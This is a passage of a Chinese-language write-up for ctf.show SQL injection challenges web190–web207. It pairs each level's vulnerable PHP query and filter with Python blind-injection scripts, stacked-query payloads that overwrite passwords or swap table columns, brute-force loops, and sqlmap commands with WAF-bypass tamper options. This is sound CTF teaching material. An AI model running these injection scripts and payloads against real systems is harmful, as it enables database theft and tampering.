	if SUCCESS_KEY in msg:
	start = mid + 1
	else:
	end = mid

	time.sleep(SLEEP_TIME)

	# 一个字符确定
	flag += chr(start)
	print(f"[+] 当前进度: {flag}")

	# 提前结束
	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag

	print(f"[!] 达到最大长度，最终结果: {flag}")
	return flag


	if __name__ == "__main__":
	extract_flag()

# web191

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = '{$username}'";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪
	if(preg_match('/file\|into\|ascii/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

ord() ：ord 函数返回字符串的第一个字符的 ascii 值

因此， ascii() 函数和 ord() 函数对于单字节处理两者作用一样

	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://4953d4e6-b84c-42d4-aeb3-8be66b9feae2.challenge.ctf.show/api/"

	# POST 请求参数
	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"
	DEFAULT_PASSWORD = "0"

	# 爆破范围（ASCII）
	ASCII_START = 32 # 空格开始
	ASCII_END = 127 # ~ 结束
	MAX_LEN = 45 # 最长 flag 长度

	# SQL payload（注意：用 {} 占位符）
	# PAYLOAD = "select database()"
	# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
	# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
	PAYLOAD = "select f1ag from ctfshow_fl0g"

	# 服务端响应中判断条件是否成立的关键字
	SUCCESS_KEY = "密码错误" # 填转义后的即可，下面有 json 处理

	# 请求延迟（避免 WAF）
	SLEEP_TIME = 0.05
	# ==================== 配置区 ====================


	def extract_flag():
	flag = ""
	for i in range(1, MAX_LEN + 1):
	start, end = ASCII_START, ASCII_END
	while start < end:
	mid = (start + end) >> 1
	# 构造 payload
	condition = f"ord(substr(({PAYLOAD}), {i}, 1)) > {mid}" # 二分法
	inj = f"admin' and if({condition}, 1, 2)=1#"

	data = {
	USERNAME_PARAM: inj,
	PASSWORD_PARAM: DEFAULT_PASSWORD
	}

	try:
	res = requests.post(URL, data=data, timeout=5)
	msg = res.json().get("msg", "")
	except Exception as e:
	print(f"[!] 请求失败: {e}")
	return flag

	if SUCCESS_KEY in msg:
	start = mid + 1
	else:
	end = mid

	time.sleep(SLEEP_TIME)

	# 一个字符确定
	flag += chr(start)
	print(f"[+] 当前进度: {flag}")

	# 提前结束
	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag

	print(f"[!] 达到最大长度，最终结果: {flag}")
	return flag


	if __name__ == "__main__":
	extract_flag()

# web192

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = '{$username}'";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪
	if(preg_match('/file\|into\|ascii\|ord\|hex/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

过滤了 ascii 和 ord ，使用正则函数逐个匹配字符

	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://438b14df-480f-426e-9341-eec2a403489e.challenge.ctf.show/api/"

	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"
	DEFAULT_PASSWORD = "1"

	# 爆破字符集
	ALL_STR = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
	MAX_LEN = 45

	# SQL payload
	# PAYLOAD = "select database()"
	# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
	# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
	PAYLOAD = "select f1ag from ctfshow_fl0g"

	# 服务端响应判断关键字
	SUCCESS_KEY = "密码错误" # 填转义后的即可，下面有 json 处理

	SLEEP_TIME = 0.05
	# ==================== 配置区 ====================


	def extract_flag():
	flag = ""
	for i in range(1, MAX_LEN + 1):
	found = False
	for ch in ALL_STR:
	# 构造 payload
	username_data = f"admin' and if(substr(({PAYLOAD}), {i}, 1) regexp '{ch}', 1, 0)=1#"
	data = {
	USERNAME_PARAM: username_data,
	PASSWORD_PARAM: DEFAULT_PASSWORD
	}

	try:
	res = requests.post(URL, data=data, timeout=5)
	msg = res.json().get("msg", "")
	except Exception as e:
	print(f"[!] 请求失败: {e}")
	return flag

	if SUCCESS_KEY in msg:
	flag += ch
	print(f"[+] 当前进度: {flag}")
	found = True
	break

	time.sleep(SLEEP_TIME)

	if not found:
	# 没匹配到，可能是 flag 结束
	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag
	else:
	print(f"[!] 第{i}个字符未匹配到，停止爆破")
	return flag

	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag

	print(f"[!] 达到最大长度，最终结果: {flag}")
	return flag


	if __name__ == "__main__":
	extract_flag()

# web193

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = '{$username}'";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪
	if(preg_match('/file\|into\|ascii\|ord\|hex\|substr/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

过滤了 substr ，可以使用正则来代替， ^ 从第一位开始匹配

爆破库名

爆破表名

爆破字段

爆破 flag

	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://af5d4c10-6649-4744-9a04-bb4cc4ca4810.challenge.ctf.show/api/"

	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"
	DEFAULT_PASSWORD = "1"

	# 爆破字符集
	ALL_STR = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"
	MAX_LEN = 45

	# SQL payload
	# PAYLOAD = "select database()"
	# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
	# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
	PAYLOAD = "select f1ag from ctfshow_flxg"

	# 服务端响应判断关键字
	SUCCESS_KEY = "密码错误" # 填转义后的即可，下面有 json 处理

	SLEEP_TIME = 0.05
	# ==================== 配置区 ====================


	def extract_flag():
	flag = ""
	for i in range(1, MAX_LEN + 1):
	found = False
	for ch in ALL_STR:
	# 构造 payload
	username_data = f"admin' and if(({PAYLOAD}) regexp ('^{flag}{ch}'), 1, 0)=1#"
	data = {
	USERNAME_PARAM: username_data,
	PASSWORD_PARAM: DEFAULT_PASSWORD
	}

	try:
	res = requests.post(URL, data=data, timeout=5)
	msg = res.json().get("msg", "")
	except Exception as e:
	print(f"[!] 请求失败: {e}")
	return flag

	if SUCCESS_KEY in msg:
	flag += ch
	print(f"[+] 当前进度: {flag}")
	found = True
	break

	time.sleep(SLEEP_TIME)

	if not found:
	# 没匹配到，可能是 flag 结束
	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag
	else:
	print(f"[!] 第{i}个字符未匹配到，停止爆破")
	return flag

	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag

	print(f"[!] 达到最大长度，最终结果: {flag}")
	return flag


	if __name__ == "__main__":
	extract_flag()

# web194

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = '{$username}'";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪
	if(preg_match('/file\|into\|ascii\|ord\|hex\|substr\|char\|left\|right\|substring/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

可以使用 web193 的脚本解题

	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://639ef789-73f4-463e-bdbe-712d368c8cd2.challenge.ctf.show/api/"

	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"
	DEFAULT_PASSWORD = "1"

	# 爆破字符集
	ALL_STR = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"
	MAX_LEN = 45

	# SQL payload
	# PAYLOAD = "select database()"
	# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
	# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
	PAYLOAD = "select f1ag from ctfshow_flxg"

	# 服务端响应判断关键字
	SUCCESS_KEY = "密码错误" # 填转义后的即可，下面有 json 处理

	SLEEP_TIME = 0.05
	# ==================== 配置区 ====================


	def extract_flag():
	flag = ""
	for i in range(1, MAX_LEN + 1):
	found = False
	for ch in ALL_STR:
	# 构造 payload
	username_data = f"admin' and if(({PAYLOAD}) regexp ('^{flag}{ch}'), 1, 0)=1#"
	data = {
	USERNAME_PARAM: username_data,
	PASSWORD_PARAM: DEFAULT_PASSWORD
	}

	try:
	res = requests.post(URL, data=data, timeout=5)
	msg = res.json().get("msg", "")
	except Exception as e:
	print(f"[!] 请求失败: {e}")
	return flag

	if SUCCESS_KEY in msg:
	flag += ch
	print(f"[+] 当前进度: {flag}")
	found = True
	break

	time.sleep(SLEEP_TIME)

	if not found:
	# 没匹配到，可能是 flag 结束
	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag
	else:
	print(f"[!] 第{i}个字符未匹配到，停止爆破")
	return flag

	if flag.endswith("}"):
	print(f"[✓] 最终结果: {flag}")
	return flag

	print(f"[!] 达到最大长度，最终结果: {flag}")
	return flag


	if __name__ == "__main__":
	extract_flag()

# web195

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if(preg_match('/ \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x0d\|\xa0\|\x00\|\#\|\x23\|\'\|\"\|select\|union\|or\|and\|\x26\|\x7c\|file\|into/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

题解一

update `ctfshow_user`
→ 表示要更新一张叫 ctfshow_user 的表。
set `pass` = 520
→ 把这张表里所有行的 pass 字段的值都改成 520 。

提交两次即可

第一次触发修改

第二次登录

	用户名：0;update`ctfshow_user`set`pass`=520
	密码：520

题解二

admin 的十六进制 0x61646d696e

更改密码

0x61646d696e;update`ctfshow_user`set`pass`=1314

	用户名：0x61646d696e
	密码：1314

# web196

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if(preg_match('/ \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x0d\|\xa0\|\x00\|\#\|\x23\|\'\|\"\|select\|union\|or\|and\|\x26\|\x7c\|file\|into/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if(strlen($username)>16){
	$ret['msg']='用户名不能超过16个字符';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

select 没有被过滤

	用户名：1;select(1)
	密码：1

# web197

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if('/\*\|\#\|\-\|\x23\|\'\|\"\|union\|or\|and\|\x26\|\x7c\|file\|into\|select\|update\|set//i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

在 username 把表全部查询出来，在 password 里传入表名

如果二者相等即可符合判断条件回显出 flag

	用户名：0;show tables
	密码：ctfshow_user

# web198

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if('/\*\|\#\|\-\|\x23\|\'\|\"\|union\|or\|and\|\x26\|\x7c\|file\|into\|select\|update\|set\|create\|drop/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

题解一

	用户名：0;show tables
	密码：ctfshow_user

题解二

alter table 可以对已有的表进行修改

利用 alter 函数可以把 pass 和 id 两列进行互换，这样判断 flag 的条件变成对 id 的检测，而 id 都是纯数字，因此可以通过爆破正确的 id ，从而获得 flag

把表 ctfshow_user 里原来的 pass 列改名为 temp ，类型改为 varchar(255)
（ varchar(255) 指定列的数据类型，长度为 255 个字符）

alter table ctfshow_user change column `pass` `temp` varchar(255);

	import requests

	# ===== 配置区 =====
	url = "http://b02f6e8a-3983-420d-b68f-67985de999b4.challenge.ctf.show/api/"
	target_user_hex = "0x61646d696e" # admin 的十六进制
	password_range = 99 # 爆破密码尝试次数
	# ==================

	# 第一步：通过注入修改表结构（交换 id 和 pass）
	payload = (
	f"{target_user_hex};"
	"alter table ctfshow_user change column `pass` `temp` varchar(255);"
	"alter table ctfshow_user change column `id` `pass` varchar(255);"
	"alter table ctfshow_user change column `temp` `id` varchar(255);"
	)

	data1 = {
	'username': payload,
	'password': '1'
	}

	res = requests.post(url=url, data=data1)

	# 第二步：爆破密码（实际上是原来的 id）
	for i in range(password_range):
	data2 = {
	'username': target_user_hex,
	'password': str(i)
	}
	res2 = requests.post(url=url, data=data2)
	if "flag" in res2.json().get('msg', ''):
	print(res2.json()['msg'])
	break

# web199

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if('/\*\|\#\|\-\|\x23\|\'\|\"\|union\|or\|and\|\x26\|\x7c\|file\|into\|select\|update\|set\|create\|drop\|\(/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

题解一

	用户名：0;show tables
	密码：ctfshow_user

题解二

思路：交换 id 和 pass 字段，让系统把 pass 列当作 id 使用，再通过爆破 id 拿到 flag

把原来的 pass 列改名为 tmp ，并把数据类型改为 text

text 类型可以存更多字符

	用户名：0;alter table ctfshow_user change column pass tmp text
	密码：0

把 id 列改成 pass ，数据类型改为 int

	用户名：0;alter table ctfshow_user change column id pass int
	密码：0

把 tmp 列改回 id ，数据类型改为 text

	用户名：0;alter table ctfshow_user change column tmp id text
	密码：0

从 0 逐个尝试密码

	用户名：0x61646d696e
	密码：0

尝试到 1 的时候刚好正确

	用户名：0x61646d696e
	密码：1

因此，手动爆破并非良策，可用脚本实现爆破

题解三

按照题解二的解题逻辑写脚本

	import requests

	# ======================
	# 配置区

	URL = "http://cc616be5-f332-45ce-85a1-7bb69eb1afdf.challenge.ctf.show/api/"
	TARGET_USER = "admin"
	MAX_TRY = 300
	SUCCESS_FLAG = "\\u767b\\u9646\\u6210\\u529f" # 登陆成功

	# 配置区
	# ======================


	def alter_table():
	"""修改数据表，把 id 和 pass 对调"""
	payload = (
	"0;alter table ctfshow_user change column pass tmp text;"
	"alter table ctfshow_user change column id pass int;"
	"alter table ctfshow_user change column tmp id text"
	)
	data = {
	"username": payload,
	"password": 1
	}
	_ = requests.post(URL, data=data)


	def brute_force_admin():
	"""爆破 admin 的密码"""
	target_user_hex = f"0x{TARGET_USER.encode().hex()}"
	for i in range(MAX_TRY):
	data = {
	"username": target_user_hex,
	"password": i
	}
	response = requests.post(URL, data=data)
	if SUCCESS_FLAG in response.text:
	print(f"[*] Found! username={TARGET_USER}, password={i}")
	print(f"[*] msg: {response.text}")
	return
	print("[!] Password not found within range.")


	if __name__ == "__main__":
	print("[*] Altering table (swap id <-> pass)")
	alter_table()
	print("[*] Brute forcing admin password")
	brute_force_admin()

# web200

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username};";


	返回逻辑
	//TODO: 感觉少了个啥，奇怪，不会又双叒叕被一血了吧
	if('/\*\|\#\|\-\|\x23\|\'\|\"\|union\|or\|and\|\x26\|\x7c\|file\|into\|select\|update\|set\|create\|drop\|\(\|\,/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	if($row[0]==$password){
	$ret['msg']="登陆成功 flag is $flag";
	}

题解一

	用户名：0;show tables
	密码：ctfshow_user

题解二

	import requests

	# ======================
	# 配置区

	URL = "http://9e4168dd-4d2c-48ca-8c74-fd46660d4f27.challenge.ctf.show/api/"
	TARGET_USER = "admin"
	MAX_TRY = 300
	SUCCESS_FLAG = "\\u767b\\u9646\\u6210\\u529f" # 登陆成功

	# 配置区
	# ======================


	def alter_table():
	"""修改数据表，把 id 和 pass 对调"""
	payload = (
	"0;alter table ctfshow_user change column pass tmp text;"
	"alter table ctfshow_user change column id pass int;"
	"alter table ctfshow_user change column tmp id text"
	)
	data = {
	"username": payload,
	"password": 1
	}
	_ = requests.post(URL, data=data)


	def brute_force_admin():
	"""爆破 admin 的密码"""
	target_user_hex = f"0x{TARGET_USER.encode().hex()}"
	for i in range(MAX_TRY):
	data = {
	"username": target_user_hex,
	"password": i
	}
	response = requests.post(URL, data=data)
	if SUCCESS_FLAG in response.text:
	print(f"[*] Found! username={TARGET_USER}, password={i}")
	print(f"[*] msg: {response.text}")
	return
	print("[!] Password not found within range.")


	if __name__ == "__main__":
	print("[*] Altering table (swap id <-> pass)")
	alter_table()
	print("[*] Brute forcing admin password")
	brute_force_admin()

# web201

	使用--user-agent 指定 agent
	使用--referer 绕过 referer 检查


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

将 User-Agent 改为 sqlmap

使用 --referer="ctf.show" 绕过 referer 检查

查数据库名

python sqlmap.py -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs

查表名

python sqlmap.py -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables

查字段

python sqlmap.py -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

查字段记录

python sqlmap.py -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

	linux环境下命令

	┌──(kali㉿kali)-[~]
	└─$ sqlmap -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs

	┌──(kali㉿kali)-[~]
	└─$ sqlmap -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --refer="ctf.show" -D ctfshow_web --tables

	┌──(kali㉿kali)-[~]
	└─$ sqlmap -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

	┌──(kali㉿kali)-[~]
	└─$ sqlmap -u "http://82cc5813-245f-4089-854c-118e7a273427.challenge.ctf.show/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

# web202

	使用--data 调整 sqlmap 的请求方式


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

python sqlmap.py -u "https://bf28f69c-ae85-47ca-9f6d-0ca9f314dbad.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

# web203

	使用--method 调整 sqlmap 的请求方式


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

默认情况下，sqlmap 发送的是 GET 或 POST 请求。

如果目标接口使用 PUT 方法上传数据（比如 REST API 、文件上传接口），需要显式告诉 sqlmap 用 PUT
方式发送请求，且 sqlmap 是对具体的 Web 接口 URL 进行测试，因此需要此题需要 index.php

PUT 请求不像传统 POST 表单，它需要指定 Content-Type ，告诉服务器数据类型。
如果接口接收原始文本 / JSON / 表单， Content-Type 不匹配，服务器可能直接拒绝请求或报错。
text/plain 是告诉服务器：“这是普通文本”，便于 sqlmap 发送参数进行注入测试。

python sqlmap.py -u "http://9b26b5a1-7edd-4d21-869d-032e10b3d35e.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --data "id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

# web204

	使用--cookie 提交 cookie 数据


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

python sqlmap.py -u "http://b44a070a-0b0b-4a05-a700-108acfd2ebf6.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

# web205

	api调用需要鉴权


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where id = '".$_GET['id']."';";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

每次请求 /api 之前会去请求一次 getToken.php

sqlmap 提供了以下两个参数

--safe-url

作用：提供一个安全、不会出错的 URL，sqlmap 会在测试注入之前访问这个 URL，确保数据库和网站状态正常

--safe-freq

作用：控制每次注入测试前访问安全 URL 的次数。
默认值：通常为 1

添加 --safe-url="http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/getToken.php" 和 --safe-freq=1

python sqlmap.py -u "http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs

python sqlmap.py -u "http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables

python sqlmap.py -u "http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns

python sqlmap.py -u "http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://66fd2785-8f42-4244-9145-39ce1a4fa62a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump

# web206

	sql需要闭合


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

sqlmap 会自己判断闭合

python sqlmap.py -u "http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables

python sqlmap.py -u "http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc --columns

python sqlmap.py -u "http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://a6ba1876-ef1a-497a-af7a-c1cd218b30f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

# web207

	--tamper 的初体验


	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/ /', $str);
	}

--tamper = “绕过 WAF / 过滤器的脚本集合”

当目标网站对 SQL 注入语句做了 字符、关键字或正则过滤，普通 payload 会被拦截
sqlmap 提供 tamper 脚本，可以对注入语句 进行编码、混淆或替换，以绕过过滤

常用 tamper 脚本

apostrophemask.py				 用utf8代替引号

equaltolike.py					 MSSQL * SQLite中like 代替等号

greatest.py						 MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 				   	 空格替换为#号 随机字符串 以及换行符

space2comment.py				 用/**/代替空格

apostrophenullencode.py		     MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL绕过过滤双引号，									替换字符和双引号

halfversionedmorekeywords.py	 当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

space2morehash.py			 	 MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py			     Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 				 MySQL，SQLite (possibly)，SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py 	 	 	 mssql空格替换为其它空符号

base64encode.py 				 用base64编码

space2mssqlhash.py			     mssql查询中替换空格

modsecurityversioned.py 		 mysql中过滤空格，包含完整的查询版本注释

space2mysqlblank.py 			 mysql中空格替换其它空白符号

between.py 						 MS SQL 2005，MySQL 4, 5.0 and 5.5 * Oracle 10g * 										 PostgreSQL 8.3, 8.4, 9.0中用between替换大于号（>）

space2mysqldash.py 				 MySQL，MSSQL替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行								 （’ n’）

multiplespaces.py 			 	 围绕SQL关键字添加多个空格

space2plus.py 				 	 用+替换空格

bluecoat.py 					 MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 									然后替换=为like

nonrecursivereplacement.py 		 双重查询语句。取代predefined SQL关键字with表示suitable for替代

space2randomblank.py			 代替空格字符（“”）从一个随机的空白字符可选字符的有效集

sp_password.py 					 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 			 双url编码(不处理以编码的)

unionalltounion.py 				 替换UNION ALL SELECT UNION SELECT

charencode.py 					 Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 									 10g，PostgreSQL 8.3, 8.4, 9.0url编码；

randomcase.py 					 Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 									 10g，PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 				 宽字符绕过 GPC addslashes

randomcomments.py 				 用/**/分割sql关键字

charunicodeencode.py 			 ASP，ASP.NET中字符串 unicode 编码

securesphere.py 				 追加特制的字符串

versionedmorekeywords.py 		 MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py 	 MySQL < 5.1中关键字前加注释

使用 space2comment 用 /**/ 代替空格

python sqlmap.py -u "http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/index.php" --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=abcd" --data "id=1" --referer="ctf.show" --safe-url="http://1f0b2af7-ba16-42f3-a608-98e28e8dab57.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment -D ctfshow_web --tables

